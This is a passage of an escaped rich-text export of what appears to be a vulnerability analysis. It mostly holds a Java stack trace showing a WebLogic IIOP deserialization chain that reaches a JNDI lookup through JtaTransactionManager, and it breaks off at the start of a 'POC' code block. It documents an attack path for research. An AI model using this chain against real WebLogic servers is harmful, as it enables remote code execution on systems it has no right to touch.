es&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6y1b-1682256048829&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;lookup:417, InitialContext (javax.naming)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JheB-1682256048832&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5QaS-1682256048831&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;doInContext:132, JndiTemplate$1 (com.bea.core.repackaged.springframework.jndi)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oNiD-1682256048834&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;geUh-1682256048833&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:88, JndiTemplate (com.bea.core.repackaged.springframework.jndi)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CiVu-1682256048836&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5SDt-1682256048835&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;lookup:130, JndiTemplate (com.bea.core.repackaged.springframework.jndi)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mt5N-1682256048838&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BVwA-1682256048837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;lookup:155, JndiTemplate (com.bea.core.repackaged.springframework.jndi)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gUIp-1682256048840&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E2Ps-1682256048839&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;lookupUserTransaction:565, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0XBG-1682256048842&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LtEM-1682256048841&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;initUserTransactionAndTransactionManager:444, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ePE0-1682256048844&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HXbl-1682256048843&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:1198, JtaTransactionManager (com.bea.core.repackaged.springframework.transaction.jta)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s8tK-1682256048846&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WdCK-1682256048845&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hHCm-1682256048848&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UwIa-1682256048847&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MtRt-1682256048850&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nu5b-1682256048849&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k70b-1682256048852&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uWRJ-1682256048851&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XGTQ-1682256048854&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K0AS-1682256048853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:314, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8UZE-1682256048856&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gIqt-1682256048855&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValueData:281, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qmHe-1682256048858&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PCHe-1682256048857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:93, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H0ak-1682256048861&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GQUC-1682256048860&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:2128, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7Uvs-1682256048863&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gXGF-1682256048862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:1936, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cinl-1682256048865&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Royc-1682256048864&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_abstract_interface:2271, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;z1Nk-1682256048867&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kdW9-1682256048866&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:2752, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tuOs-1682256048869&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fbHR-1682256048868&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObjectOverride:164, ObjectInputStreamImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VDpQ-1682256048871&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hiR1-1682256048870&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:416, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KLVY-1682256048874&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iElP-1682256048872&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:1404, HashMap (java.util)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;abZz-1682256048876&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7heT-1682256048875&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:-1, GeneratedMethodAccessor2 (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m9xx-1682256048878&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lOye-1682256048877&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j612-1682256048880&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UGnJ-1682256048879&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BCSO-1682256048882&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;So51-1682256048881&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:314, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GdgE-1682256048884&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OeFI-1682256048883&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValueData:281, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r8pI-1682256048886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E4Y7-1682256048885&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:93, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6Bk-1682256048888&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mLKV-1682256048887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:2128, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2Hkx-1682256048890&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p3EJ-1682256048889&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:2788, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lxSd-1682256048892&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;epKK-1682256048891&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:326, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHFU-1682256048894&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jBJ7-1682256048893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;access$800:242, ObjectInputStreamImpl$GetFieldImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQD8-1682256048896&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q6r5-1682256048895&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readFields:195, ObjectInputStreamImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j4Yk-1682256048898&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nFPH-1682256048897&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:429, AnnotationInvocationHandler (sun.reflect.annotation)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YEF8-1682256048900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eS3x-1682256048899&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2ppo-1682256048902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vju4-1682256048901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mj9c-1682256048904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E7AI-1682256048903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kCeg-1682256048906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RveV-1682256048905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XK9F-1682256048908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oCVb-1682256048907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:314, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hSiw-1682256048910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oFsT-1682256048909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValueData:281, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NFt8-1682256048912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WvwH-1682256048911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:93, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1lr-1682256048914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Notc-1682256048913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:2128, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xhme-1682256048916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qS4e-1682256048915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_abstract_interface:2279, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ZPP-1682256048918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jGkS-1682256048917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:2785, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g1mL-1682256048920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YKfu-1682256048919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readFields:460, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lp1n-1682256048922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZQr-1682256048921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValueData:294, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rWDH-1682256048924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FuL3-1682256048923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:93, ValueHandlerImpl (weblogic.corba.utils)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4k44-1682256048926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P1Ki-1682256048925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:2128, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Suq8-1682256048928&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P4Oy-1682256048927&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:1936, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s1qD-1682256048930&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IRxW-1682256048929&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value_internal:220, AnyImpl (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SBWd-1682256048932&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RKG7-1682256048931&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:115, AnyImpl (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pSY-1682256048934&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VNc3-1682256048933&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_any:1648, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;46WR-1682256048936&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XyGq-1682256048935&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_any:1641, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LsFM-1682256048938&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iEmk-1682256048937&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;_invoke:58, _NamingContextAnyImplBase (weblogic.corba.cos.naming)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wz5s-1682256048940&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HZPh-1682256048939&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:249, CorbaServerRef (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8vOL-1682256048942&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xVdL-1682256048941&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:230, ClusterableServerRef (weblogic.rmi.cluster)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VL9u-1682256048944&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KMpM-1682256048943&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:522, BasicServerRef$1 (weblogic.rmi.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qLOR-1682256048946&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Krot-1682256048945&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VgfZ-1682256048948&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uSF4-1682256048947&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runAs:146, SecurityManager (weblogic.security.service)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UKwa-1682256048950&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r7wK-1682256048949&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;handleRequest:518, BasicServerRef (weblogic.rmi.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dlz1-1682256048952&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Aswz-1682256048951&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ldYT-1682256048954&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;POoD-1682256048953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:256, ExecuteThread (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSce-1682256048956&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IUTk-1682256048955&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:221, ExecuteThread (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fNnM-1682256048959&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J6w3-1682256048958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHaM-1682256049027&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;csfx-1682256048961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6iux-1682256048960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import 